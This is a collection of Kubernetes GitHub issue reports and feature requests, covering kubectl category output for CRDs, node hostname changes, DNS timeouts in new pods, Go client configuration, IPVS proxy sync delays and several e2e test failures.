when using a category  other than  all  - which seems to exhibit the correct behavior, presumably due to special-casing  with  kubectl get .\r \r   what happened  :\r \r example: i created 3 crds and put them all in the  federation  category. you can see the definitions here:\r \r <details>\r \r    yaml\r apiversion: v1\r items:\r - apiversion: apiextensions.k8s.io/v1beta1\r   kind: customresourcedefinition\r   metadata:\r     creationtimestamp: 2018-06-22t15:07:26z\r     generation: 1\r     name: federatedreplicasetoverrides.federation.pmorie.toy\r     namespace: \ \ \r     resourceversion: \ 316\ \r     selflink: /apis/apiextensions.k8s.io/v1beta1/customresourcedefinitions/federatedreplicasetoverrides.federation.pmorie.toy\r     uid: f9353caf-762d-11e8-81d6-68f728db1985\r   spec:\r     additionalprintercolumns:\r     - jsonpath: .metadata.creationtimestamp\r       description: |-\r         creationtimestamp is a timestamp representing the server time when this object was created. it is not guaranteed to be set in happens-before order across separate operations. clients may not set this value. it is represented in rfc3339 form and is in utc.\r \r         populated by the system. read-only. null for lists. more info: https://git.k8s.io/community/contributors/devel/api-conventions.md metadata\r       name: age\r       type: date\r     group: federation.pmorie.toy\r     names:\r       categories:\r       - federation\r       kind: federatedreplicasetoverride\r       listkind: federatedreplicasetoverridelist\r       plural: federatedreplicasetoverrides\r       singular: federatedreplicasetoverride\r     scope: namespaced\r     validation:\r       openapiv3schema:\r         properties:\r           apiversion:\r             type: string\r           kind:\r             type: string\r           metadata:\r             type: object\r           spec:\r             type: object\r           status:\r             type: object\r         type: object\r     version: v1beta1\r     versions:\r     - name: v1beta1\r       served: true\r       storage: true\r   status:\r     acceptednames:\r       categories:\r       - federation\r       kind: federatedreplicasetoverride\r       listkind: federatedreplicasetoverridelist\r       plural: federatedreplicasetoverrides\r       singular: federatedreplicasetoverride\r     conditions:\r     - lasttransitiontime: 2018-06-22t15:07:26z\r       message: no conflicts found\r       reason: noconflicts\r       status: \ true\ \r       type: namesaccepted\r     - lasttransitiontime: null\r       message: the initial names have been accepted\r       reason: initialnamesaccepted\r       status: \ true\ \r       type: established\r     storedversions:\r     - v1beta1\r - apiversion: apiextensions.k8s.io/v1beta1\r   kind: customresourcedefinition\r   metadata:\r     creationtimestamp: 2018-06-22t15:07:26z\r     generation: 1\r     name: federatedreplicasetplacements.federation.pmorie.toy\r     namespace: \ \ \r     resourceversion: \ 319\ \r     selflink: /apis/apiextensions.k8s.io/v1beta1/customresourcedefinitions/federatedreplicasetplacements.federation.pmorie.toy\r     uid: f939ec45-762d-11e8-81d6-68f728db1985\r   spec:\r     additionalprintercolumns:\r     - jsonpath: .metadata.creationtimestamp\r       description: |-\r         creationtimestamp is a timestamp representing the server time when this object was created. it is not guaranteed to be set in happens-before order across separate operations. clients may not set this value. it is represented in rfc3339 form and is in utc.\r \r         populated by the system. read-only. null for lists. more info: https://git.k8s.io/community/contributors/devel/api-conventions.md metadata\r       name: age\r       type: date\r     group: federation.pmorie.toy\r     names:\r       categories:\r       - federation\r       kind: federatedreplicasetplacement\r       listkind: federatedreplicasetplacementlist\r       plural: federatedreplicasetplacements\r       singular: federatedreplicasetplacement\r     scope: namespaced\r     validation:\r       openapiv3schema:\r         properties:\r           apiversion:\r             type: string\r           kind:\r             type: string\r           metadata:\r             type: object\r           spec:\r             type: object\r           status:\r             type: object\r         type: object\r     version: v1beta1\r     versions:\r     - name: v1beta1\r       served: true\r       storage: true\r   status:\r     acceptednames:\r       categories:\r       - federation\r       kind: federatedreplicasetplacement\r       listkind: federatedreplicasetplacementlist\r       plural: federatedreplicasetplacements\r       singular: federatedreplicasetplacement\r     conditions:\r     - lasttransitiontime: 2018-06-22t15:07:26z\r       message: no conflicts found\r       reason: noconflicts\r       status: \ true\ \r       type: namesaccepted\r     - lasttransitiontime: null\r       message: the initial names have been accepted\r       reason: initialnamesaccepted\r       status: \ true\ \r       type: established\r     storedversions:\r     - v1beta1\r - apiversion: apiextensions.k8s.io/v1beta1\r   kind: customresourcedefinition\r   metadata:\r     creationtimestamp: 2018-06-22t15:07:26z\r     generation: 1\r     name: federatedreplicasets.federation.pmorie.toy\r     namespace: \ \ \r     resourceversion: \ 315\ \r     selflink: /apis/apiextensions.k8s.io/v1beta1/customresourcedefinitions/federatedreplicasets.federation.pmorie.toy\r     uid: f93373c9-762d-11e8-81d6-68f728db1985\r   spec:\r     additionalprintercolumns:\r     - jsonpath: .metadata.creationtimestamp\r       description: |-\r         creationtimestamp is a timestamp representing the server time when this object was created. it is not guaranteed to be set in happens-before order across separate operations. clients may not set this value. it is represented in rfc3339 form and is in utc.\r \r         populated by the system. read-only. null for lists. more info: https://git.k8s.io/community/contributors/devel/api-conventions.md metadata\r       name: age\r       type: date\r     group: federation.pmorie.toy\r     names:\r       categories:\r       - federation\r       kind: federatedreplicaset\r       listkind: federatedreplicasetlist\r       plural: federatedreplicasets\r       singular: federatedreplicaset\r     scope: namespaced\r     validation:\r       openapiv3schema:\r         properties:\r           apiversion:\r             type: string\r           kind:\r             type: string\r           metadata:\r             type: object\r           spec:\r             type: object\r           status:\r             type: object\r         type: object\r     version: v1beta1\r     versions:\r     - name: v1beta1\r       served: true\r       storage: true\r   status:\r     acceptednames:\r       categories:\r       - federation\r       kind: federatedreplicaset\r       listkind: federatedreplicasetlist\r       plural: federatedreplicasets\r       singular: federatedreplicaset\r     conditions:\r     - lasttransitiontime: 2018-06-22t15:07:26z\r       message: no conflicts found\r       reason: noconflicts\r       status: \ true\ \r       type: namesaccepted\r     - lasttransitiontime: null\r       message: the initial names have been accepted\r       reason: initialnamesaccepted\r       status: \ true\ \r       type: established\r     storedversions:\r     - v1beta1\r kind: list\r metadata:\r   resourceversion: \ \ \r   selflink: \ \ \r    \r \r </details>\r \r i created examples as follows:\r \r <details>\r \r    yaml\r apiversion: federation.pmorie.toy/v1beta1\r kind: federatedreplicaset\r metadata:\r   name: my-rs\r spec:\r   foo: bar\r ---\r apiversion: federation.pmorie.toy/v1beta1\r kind: federatedreplicasetoverride\r metadata:\r   name: my-rs\r spec:\r   foo: bar\r ---\r apiversion: federation.pmorie.toy/v1beta1\r kind: federatedreplicasetplacement\r metadata:\r   name: my-rs\r spec:\r   foo: bar\r    \r \r </details>\r \r when i run  kubectl get federation , i see:\r \r    \r $ k get federation\r name      age\r my-rs     20m\r \r name      age\r my-rs     20m\r \r name      age\r my-rs     20m\r    \r \r note that kind is not present in this output. you can see it with  --show-kind , but it should be there by default:\r \r    \r $ k get federation --show-kind\r name                                              age\r federatedreplicaset.federation.pmorie.toy/my-rs   21m\r \r name                                                      age\r federatedreplicasetoverride.federation.pmorie.toy/my-rs   21m\r \r name                                                       age\r federatedreplicasetplacement.federation.pmorie.toy/my-rs   21m\r    \r \r   what you expected to happen  :\r \r the expected output is:\r \r    \r $ k get federation\r name                                              age\r federatedreplicaset.federation.pmorie.toy/my-rs   21m\r \r name                                                      age\r federatedreplicasetoverride.federation.pmorie.toy/my-rs   21m\r \r name                                                       age\r federatedreplicasetplacement.federation.pmorie.toy/my-rs   21m\r    \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r use the enclosed crd definitions and examples.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : master\r \r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r a few of the nodes in my cluster changed their transient hostname to the name of the clamav pod that is running on them. clamav mounts / to /host so that it can run scans, but in readonly mode so i don't think that it's directly changing the hostname. only the transient hostname changed, /etc/hostname stays the same. this has happened on 3 nodes so far. i can change it back using hostnamectl, but there's no guarantees that it will stay that way. i originally thought it might have something to do with dhcp  that is where my research about transient hostnames changing initially led me , but the dhcpcd client service is not even running on the nodes, and on top of that i don't know how it would get a pod name.\r \r discovered this issue from an ossec  wazuh  alert.\r \r   what you expected to happen  :\r hostname should not become the name of a pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i set up a secondary test cluster using the same config, and so far it's nodes have not had this happen yet. the original cluster is running a clamav daemonset. coreos, cri-o, and k8s 1.11.3. not sure how to reproduce deterministically. the first two nodes changed in one night, then later that next day another one triggered the ossec alert.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t18:02:47z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t17:53:03z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r aws\r - os  e.g. from /etc/os-release :\r name=\ container linux by coreos\ \r id=coreos\r version=1688.5.3\r version_id=1688.5.3\r build_id=2018-04-03-0547\r pretty_name=\ container linux by coreos 1688.5.3  rhyolite \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r - kernel  e.g.  uname -a  :\r linux clamav-2dr4d 4.14.32-coreos  1 smp tue apr 3 05:21:26 utc 2018 x86_64 intel r  xeon r  cpu e5-2686 v4 @ 2.30ghz genuineintel gnu/linux\r - install tools:\r custom. kubelet running as systemd unit, all other control plane components are kubelet manifest pods.\r - others:\r \r <!-- do not edit below this line -->\r 

what happened  :\r ~10% of brand new pods are failing dns resolution right after they are created.  i have a cronjob that runs once per minute and will perform  dig www.github.com  5 times with a 1 second sleep between each try. ~90% of the time all 5 calls will succeed, but ~10% of the time the first call will fail with the message:\r    \r ; <<>> dig 9.9.5-3ubuntu0.2-ubuntu <<>> www.github.com\r ;; global options: +cmd\r ;; connection timed out; no servers could be reached\r    \r \r   what you expected to happen  :\r dns to reliable resolve addresses\r \r   how to reproduce it  as minimally and precisely as possible   :\r i can't reproduce 100%, but like i mentioned earlier i created a cronjob which performs  dig www.github.com  and it periodically fails.\r \r   anything else we need to know?  :\r here are some extensive details on what i've done and the current state:\r \r i've noticed this issue happening for a few months now as its causing multiple failures in jobs across the whole cluster. i've not seen it fail when resolving kubernetes internal names, i've only seen it fail when resolving external names  like www.github.com, or some of our own company-internal names like our.domain.company.local \r \r originally we were running with kube-dns, but i migrated us to coredns yesterday.  unfortunately the issue exists with both.\r \r i created a deployment that ran  dig www.github.com  every few seconds and i didn't see any failures with it. it seems once dns is working, it stays working. additionally, with the cronjobs, if the dns fails i've only ever seen it fail on the   first   lookup.  the rest always appear to succeed.\r \r i've heard about some ec2 qps limits  and the fact that kube-dns doesn't cache misses by default  and i thought \ maybe more kube-dns pods would spread the load across more ec2 instances\ .  so i bumped the number of kube-dns pods from 2 to 6  using the kube-dns-autoscaler  and that actually seemed to reduce the error rate, but it didn't eliminate it. so that could be a red herring.\r \r since it was the first  dig  call in the jobs that seems to fail i thought \ maybe the network isn't stable right when a pod is created\ . so i tried adding a  sleep 5  to the start of the cronjob before i make the first dig call.  again, it   might   have reduced the error rate, but this failure is intermittent enough that its hard to make any determination.  the end result is that failures are still happening.  here are 2 pictures of the logs of the cronjobs.  the first one is without the sleep  the shorter bars are failures since 1/5 of the dns lookups returned just a timeout message :\r ! dns_failures  https://user-images.githubusercontent.com/15616541/56387723-4f277580-61e2-11e9-8c28-21ac36cd6566.png \r and failures with the 5 second sleep to start the job:\r ! dns_failures_sleep  https://user-images.githubusercontent.com/15616541/56387748-5a7aa100-61e2-11e9-9d6f-f7970ce5cbad.png \r \r i also tried running the kubernetes dns perf-test: https://github.com/kubernetes/perf-tests/tree/master/dns\r but it would always fail with:\r    \r ...\r info 04-18 11:51:31 runner.py:174  create service/test-svc19 ok\r info 04-18 11:51:31 runner.py:174  create service/test-svc20 ok\r info 04-18 11:51:31 runner.py:121  creating server with new parameters\r info 04-18 11:51:31 runner.py:343  starting server teardown\r /home/cghill/temp/perf-tests/dns/py/runner.py:427: yamlloadwarning: calling yaml.load   without loader=... is deprecated, as the default loader is unsafe. please read https://msg.pyyaml.org/load for full details.\r   pods = yaml.load out \r info 04-18 11:51:33 runner.py:431  waiting for server to be deleted  0 pods active \r info 04-18 11:51:33 runner.py:351  server teardown ok\r info 04-18 11:51:39 runner.py:174  create deployment/dns-perf-server ok\r error 04-18 11:51:40 runner.py:172  could not create dns: 1\r stdout:\r \r stderr:the service \ dns-perf-server\  is invalid: spec.clusterip: invalid value: \ 10.0.0.20\ : provided ip is not in the valid range. the range of valid ips is 100.64.0.0/13\r \r \r info 04-18 11:51:40 runner.py:135  exception caught during run, cleaning up. traceback  most recent call last :\r   file \ /home/cghill/temp/perf-tests/dns/py/runner.py\ , line 124, in go\r     self._create self.service_yaml \r   file \ /home/cghill/temp/perf-tests/dns/py/runner.py\ , line 173, in _create\r     raise exception 'create failed' \r exception: create failed\r \r info 04-18 11:51:40 runner.py:343  starting server teardown\r info 04-18 11:51:45 runner.py:431  waiting for server to be deleted  0 pods active \r ...\r    \r it seems the hardcoded spec.clusterip value isn't compatible with our cluster. i didn't see any evidence of others experiencing this issue or how to resolve it.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.9\ , gitcommit:\ 16236ce91790d4c75b79f6ce96841db1c843e7d2\ , gittreestate:\ clean\ , builddate:\ 2019-03-25t06:30:48z\ , goversion:\ go1.10.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r running in aws, cluster deployed with kops version 1.11.1  git-0f2aa8d30 \r amazon ami: kope.io/k8s-1.11-debian-stretch-amd64-hvm-ebs-2018-08-17\r \r - os  e.g:  cat /etc/os-release  :\r my personal system:\r    \r name=\ ubuntu\ \r version=\ 18.04.1 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04.1 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r    \r \r - kernel  e.g.  uname -a  :\r  linux kubuntu 4.15.0-47-generic  50-ubuntu smp wed mar 13 10:44:52 utc 2019 x86_64 x86_64 x86_64 gnu/linux \r \r - install tools:\r kops version 1.11.1  git-0f2aa8d30 \r \r - others:\r 

it would be interesting to implement some kind of security via nodeselector for persistent volumes. essentially the volume would have specific selectors defined and a pod requesting a volume  claimed within the project  should only be scheduleable on a node with matching selectors for both the volume   and   the pod's defined selectors.  this helps to enable external volume security in that i can, ahead of time, expose certain storage to certain nodes with some determinism.

updated in next comment, needs a pr  i have tried a bunch of different things for an hour, and this is what i have found.  i have kubectl authenticated properly to a gce cluster per the https://cloud.google.com/container-engine/docs/clusters/operations docs.      gcloud auth login gcloud components update beta gcloud components update kubectl gcloud config set project project gcloud config set compute/zone zone gcloud beta container clusters create name --zone zone gcloud config set container/cluster name      where  project, name, and zone  are all set to a gce project i control.  ${home}/.kube/config  shows my gce setup as the only cluster and user, and the context as the current context  ie i have not touched it otherwise .  i have tried the following code in a golang app:          clientconfig, err := clientcmd.newnoninteractivedeferredloadingclientconfig          clientcmd.newdefaultclientconfigloadingrules  ,         &clientcmd.configoverrides{},      .clientconfig       if err != nil {         return err     }     client, err := client.new clientconfig      if err != nil {         return err     }     versioninfo, err := client.serverversion       if err != nil {         return err     }     fmt.printf \ %+v\ \ , versioninfo       i have also tried this, just to see if i can replicate what kubectl is doing:          factory := util.newfactory nil      client, err := factory.client       if err != nil {         return err     }     versioninfo, err := client.serverversion       if err != nil {         return err     }     fmt.printf \ %+v\ \ , versioninfo       in both cases, i get an error at  client.serverversion   :      get http://localhost:8080/version: dial tcp 127.0.0.1:8080: connection refused      i did some investigation/a lot of  debug.printstack    and  fmt.println ...  , and i have found out that everything basically gets messed up here: https://github.com/googlecloudplatform/kubernetes/blob/ded48a376107a66abb374e38ec6fc1d48e66678e/pkg/client/clientcmd/client_config.go l296 which is due to  mergo.merge  only merging unfilled values, and https://github.com/googlecloudplatform/kubernetes/blob/ded48a376107a66abb374e38ec6fc1d48e66678e/pkg/client/clientcmd/client_config.go l36 already having filled in the host. so this seems wrong to me, i can't figure out a better way.  here's where things get really weird though:  i've gotten kubectl from the following sources  i'll reference the numbers below : 1. from gcloud and put on my path per the gce docs, at  ${home}/google-cloud-sdk/bin/kubectl  2. from releases, at https://storage.googleapis.com/kubernetes-release/release/v1.0.1/bin/darwin/amd64/kubectl 3. from checking out tag  v1.0.1  and doing  make all what=cmd/kubectl goflags=-v  4. from checking out tag  v1.0.1  and doing  go get -d -v -t ./cmd/kubectl/... && go install ./cmd/kubectl  5. from  master  and doing  make all what=cmd/kubectl goflags=-v  6. from  master  and doing  go get -d -v -t ./cmd/kubectl/... && go install ./cmd/kubectl    1 ,  2 ,  3 , and  5  all work:        sample output from  5  $ ./_output/local/bin/darwin/amd64/kubectl version client version: version.info{major:\ 1\ , minor:\ 1+\ , gitversion:\ v1.1.0-alpha.0.1279+ded48a376107a6\ , gitcommit:\ ded48a376107a66abb374e38ec6fc1d48e66678e\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 0\ , gitversion:\ v1.0.1\ , gitcommit:\ 6a5c06e3d1eb27a6310a09270e4a5fb1afa93e74\ , gittreestate:\ clean\ }       4  and  6  do not work:        sample output from  6  $ ~/go/bin/kubectl version error: couldn't read version from server: get http://localhost:8080/api: dial tcp 127.0.0.1:8080: connection refused      so, - what gives? i'm assuming it's something to do with a dependency, but that actually makes no sense unless it's mergo. - the docs for how to use kubernetes from golang don't work/having to rely on the godeps dependencies when this is a library gets wonky.  any thoughts? am i missing something huge and about to have egg on my face  probably ?

right now, we have the concept packing api query parameters into a struct, converting that to the versioned  serialized wire  format struct, then packing that into url query parameters. this needs some slight adjustment for api groups.  options: 1. change nothing; every group needs its own e.g. listoptions struct in the internal and external versions. 2. move common options  e.g. listoptions  to unversioned.  if we do 2, then we need to modify the code here: https://github.com/kubernetes/kubernetes/blob/master/pkg/client/unversioned/request.go l414  options for modifying this code: 1. restclient takes a second \ options\  codec, which takes a struct, returns json, which can be converted to query parameters.  must be a second codec because the codec for the body of the request may be binary.  2. restclient takes a second \ options\  codec, which takes a struct and returns url query parameters directly. 3. develop the concept of internal unversioned vs. external unversioned  ugh .  2.1 & 2.2 both have the advantage that restclient doesn't need to know about \ convertor\  at all any more.  2.1 can be done just by reusing our existing codec, which is nice, but 2.2 is probably clearer? 2.3 is confusing. option 1 is verbose and error prone.  @smarterclayton @krousey @wojtek-t @caesarxuchao please all of you argue about this :

source: user feedback   first, it outputs  waiting for pod ...  which gets mingled with commands output.  second, simple output often gets lost.    1. -it, date  : doesn't work      console $ kubectl run test --rm --restart=never -it --image=ubuntu -- date waiting for pod default/test to be running, status is pending, pod ready: false error from server: unrecognized input header        2. -it, bash sleep, then date  : works with output mingled with command output       console $ kubectl run test --rm --restart=never -it --image=ubuntu -- bash -c \ sleep 3; date; sleep 3\  waiting for pod default/test to be running, status is pending, pod ready: false  hit enter for command prompt                             fri jul  8 17:19:50 utc 2016 pod \ test\  deleted        3. -t, bash sleep, then date  : doesn't work       console $ kubectl run test --rm --restart=never -t --image=ubuntu -- bash -c \ sleep 3; date; sleep 3\  error: -i/--stdin is required for containers with -t/--tty=true see 'kubectl run -h' for help and examples.        4. -i, date  : works but output is still mingled       console $ kubectl run test --rm --restart=never -i --image=ubuntu -- date waiting for pod default/test to be running, status is pending, pod ready: false fri jul  8 17:21:59 utc 2016 pod \ test\  deleted      compared to  docker run , all 4 cases return the same simple output:      console $ docker run -i ubuntu date fri jul  8 17:23:45 utc 2016      @kubernetes/kubectl

kubernetes users raised a bunch of issues with monitoring pipeline. the most common is that fluentd tends to oom even with moderate load  ref  29411 . in order to fixed those problems first we need to perform load test of monitoring pipeline.\r \r the work items:\r -  x  design and implement a tool for logging load tests\r -  x  benchmark fluentd+gcl pipeline\r -     benchmark fluentd+es pipeline\r -  x  setup automatic tests\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-prod-smoke/867/  failed:  k8s.io  emptydir volumes should support  non-root,0644,tmpfs   conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/empty_dir.go:81 error creating pod expected error:     < url.error | 0xc8209582d0>: {         op: \ post\ ,         url: \ https://104.196.10.143/api/v1/namespaces/e2e-tests-emptydir-2d5cl/pods\ ,         err: {},     }     post https://104.196.10.143/api/v1/namespaces/e2e-tests-emptydir-2d5cl/pods: net/http: tls handshake timeout not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:50       previous issues for this test:  29224  32008

first, need to define what a \ trusted\  image is: 1. docker image name has some prefix. 2. define an \ image\  resource, which has labels  as has previously been proposed, and may already exist in openshift    suggest definitely doing the first, since this is composible with people's existing use of docker.  also consider second if openshift folks want it.  second, need a way to further restrict a policy which allows pod creation to require all images to be trusted.   amazon iam has \ cond\  sections in their policy, and they predefine certain condition matchers.    we might have something like this:      {user:\ alice\ , kind:\ pods\ , namespace:\ prod\ , conds:  {cond:\ contimageshaveimageprefix\ , arg1:\ quay.io/alicecorp/trusted\ } }

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r daemonset failedplacement\r \r   is this a bug report or feature request?    choose one :\r bug report\r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:36:33z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.3\ , gitcommit:\ 0480917b552be33e2dba47386e51decb1a211df6\ , gittreestate:\ clean\ , builddate:\ 2017-05-10t15:38:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : \r -   os    e.g. from /etc/os-release : ol7.3\r -   kernel    e.g.  uname -a  : 4.1.12-94.2.1.el7uek.x86_64\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r i have a daemonset that is only deployed to a subset of nodes in the cluster based on a  nodeselector . i'm seeing events fired with reason  failedplacement  for the daemonset pods on nodes that do not fit the selector. \r \r    \r reason: failedplacement\r message: failed to place pod on \ <node>\ : node didn't have enough resource: memory, requested: 9768534016, used: 8361345024, capacity: 14944219136\r    \r \r   what you expected to happen  :\r \r these events should never fire because they do not meet the node selectors in the pod spec. \r \r   how to reproduce it    as minimally and precisely as possible :\r \r create a cluster with different sized nodes. e.g. smaller masters than workers. then deploy the daemonset only to the workers. you will see events triggered for the master nodes that don't meet the requirements. \r \r   anything else we need to know  :\r \r

 \r   feature  :\r ability to reference an ingress'  metadata.namespace  in its  spec.rules  .host  property.\r \r   use case  :\r original request i found was posted at kubernetes/ingress 713\r \r i have a dev k8s cluster with many namespaces for different feature branches and workspaces all running the same services and exposing more than one of them. i'd like to expose services in each namespace with their own ingress and have the host auto-generated like:\r    yaml\r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: app\r spec:\r   rules:\r   - host: a-svc.<namespace>.devk8s.example.com\r     http:\r       paths:\r       - path: /\r         backend:\r           servicename: a-svc\r           serviceport: 8080\r   - host: b-svc.<namespace>.devk8s.example.com\r     http:\r       paths:\r       - path: /\r         backend:\r           servicename: b-svc\r           serviceport: 8080\r    \r where  <namespace>  would be replaced with  dev  if that was the namespace that the ingress was created in. the namespace is not hard-coded so that the ingress file can be applied to any namespace.\r

failure cluster  dc7df8becd4029341950  https://go.k8s.io/triage dc7df8becd4029341950        error text:     error creating cluster: error during gcloud container clusters create --quiet --project=gke-up-c1-3-g1-4-up-mas --zone=us-central1-f --machine-type=n1-standard-2 --image-type=gci --num-nodes=3 --network=bootstrap-e2e --cluster-version=1.9.0-alpha.1.360+e1d923a7cb6fc2 bootstrap-e2e: exit status 1           failure cluster statistics: 1 tests failed,    21 jobs failed,    101 builds failed. failure stats cover 1 day time range '3 oct 2017 15:37 utc' to '4 oct 2017 15:37 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | up | 21 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-stackdriver | 14 |  4 oct 2017 13:14 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-stackdriver/12724  | | ci-kubernetes-e2e-gke-ingress | 14 |  4 oct 2017 13:35 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-ingress/14941  | | ci-kubernetes-e2e-gci-gke-updown | 12 |  4 oct 2017 10:28 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-updown/25901  |   current status  https://go.k8s.io/triage dc7df8becd4029341950

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i have enabled ipvs mode on kube 1.8 and am having issues accessing nodeport services. i notice if i restart kube-proxy i see the following messages every minute for ~20 minutes before it appears to actually sync the rules\r    \r oct 11 10:33:57 worker-23.test.ibm.com kube-proxy.service 2058581 : i1011 10:33:57.095261 2058581 proxier.go:836  not syncing ipvs rules until services and endpoints have been received from master\r oct 11 10:33:57 worker-23.test.ibm.com kube-proxy.service 2058581 : i1011 10:33:57.095307 2058581 proxier.go:832  syncproxyrules endpointsupdate  took 63.9µs\r oct 11 10:33:57 worker-23.test.ibm.com kube-proxy.service 2058581 : i1011 10:33:57.095342 2058581 config.go:124  calling handler.onendpointsadd\r    \r we have ~35 services, so not a huge amount.\r \r   what you expected to happen  :\r i expect kube-proxy to update the rules immediately, or at least within a few minutes on startup.\r \r   how to reproduce it  as minimally and precisely as possible   :\r start kube-proxy with the following parameters:\r    \r           --proxy-mode=ipvs \\\r           --ipvs-min-sync-period 60s \\\r           --ipvs-sync-period 300s \\\r           --feature-gates=supportipvsproxymode=true \\\r    \r view the logs.\r \r   anything else we need to know?  :\r i am seeing various other issues with ipvs with it appearing to not sync correctly - i.e if i add/delete a service or delete a pod i regularly see the changes not being reflected in the ipvs rules - it appears kube-proxy is not getting notified about changes.\r \r i compared the iptables proxy code with ipvs code at branch 1.8 and can see a difference in the newproxier function.\r iptables has the following:\r    \r \tburstsyncs := 2\r \tglog.v 3 .infof \ minsyncperiod: %v, syncperiod: %v, burstsyncs: %d\ , minsyncperiod, syncperiod, burstsyncs \r \tproxier.syncrunner = async.newboundedfrequencyrunner \ sync-runner\ , proxier.syncproxyrules, minsyncperiod, syncperiod, burstsyncs \r \treturn proxier, nil\r    \r whereas this is missing in ipvs at the 1.8 branch. i notice this code is present in master for ipvs. could this be causing the sync issues i'm seeing? if so is this change likely to make it into a 1.8.x release in the near future as we would like to progress testing of ipvs.\r \r   environment  :\r - kubernetes version  use  kubectl version  : kubernetes v1.8.0-1+edd813e3ac8824\r - cloud provider or hardware configuration  : vsis running on ibm softlayer\r - os  e.g. from /etc/os-release :ubuntu 16.04.2 lts  xenial \r - kernel  e.g.  uname -a  :4.4.0-92-generic  115-ubuntu smp thu aug 10 09:04:33 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r  \r  /area platform/gce\r \r   what happened  :\r from https://k8s-testgrid.appspot.com/sig-network-gce gce-alpha-api&width=5, network tier test is failing since 2/24. from the  diff  https://github.com/kubernetes/kubernetes/compare/15e34b13c...f49f799db , https://github.com/kubernetes/kubernetes/pull/59941 seems a bit suspicious. example failure:\r    \r  sig-network  services  feature:gcealphafeature  slow  should be able to create and tear down a standard-tier load balancer  slow  10s\r go run hack/e2e.go -v --test --test_args='--ginkgo.focus=\\ sig\\-network\\ \\sservices\\s\\ feature\\:gcealphafeature\\ \\ slow\\ \\sshould\\sbe\\sable\\sto\\screate\\sand\\stear\\sdown\\sa\\sstandard\\-tier\\sload\\sbalancer\\s\\ slow\\ $'\r \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/network_tiers.go:61\r expected error:\r     < errors.errorstring | 0xc420618c80>: {\r         s: \ unsupported network tier: \\\ standard\\\ \ ,\r     }\r     unsupported network tier: \ standard\ \r not to have occurred\r 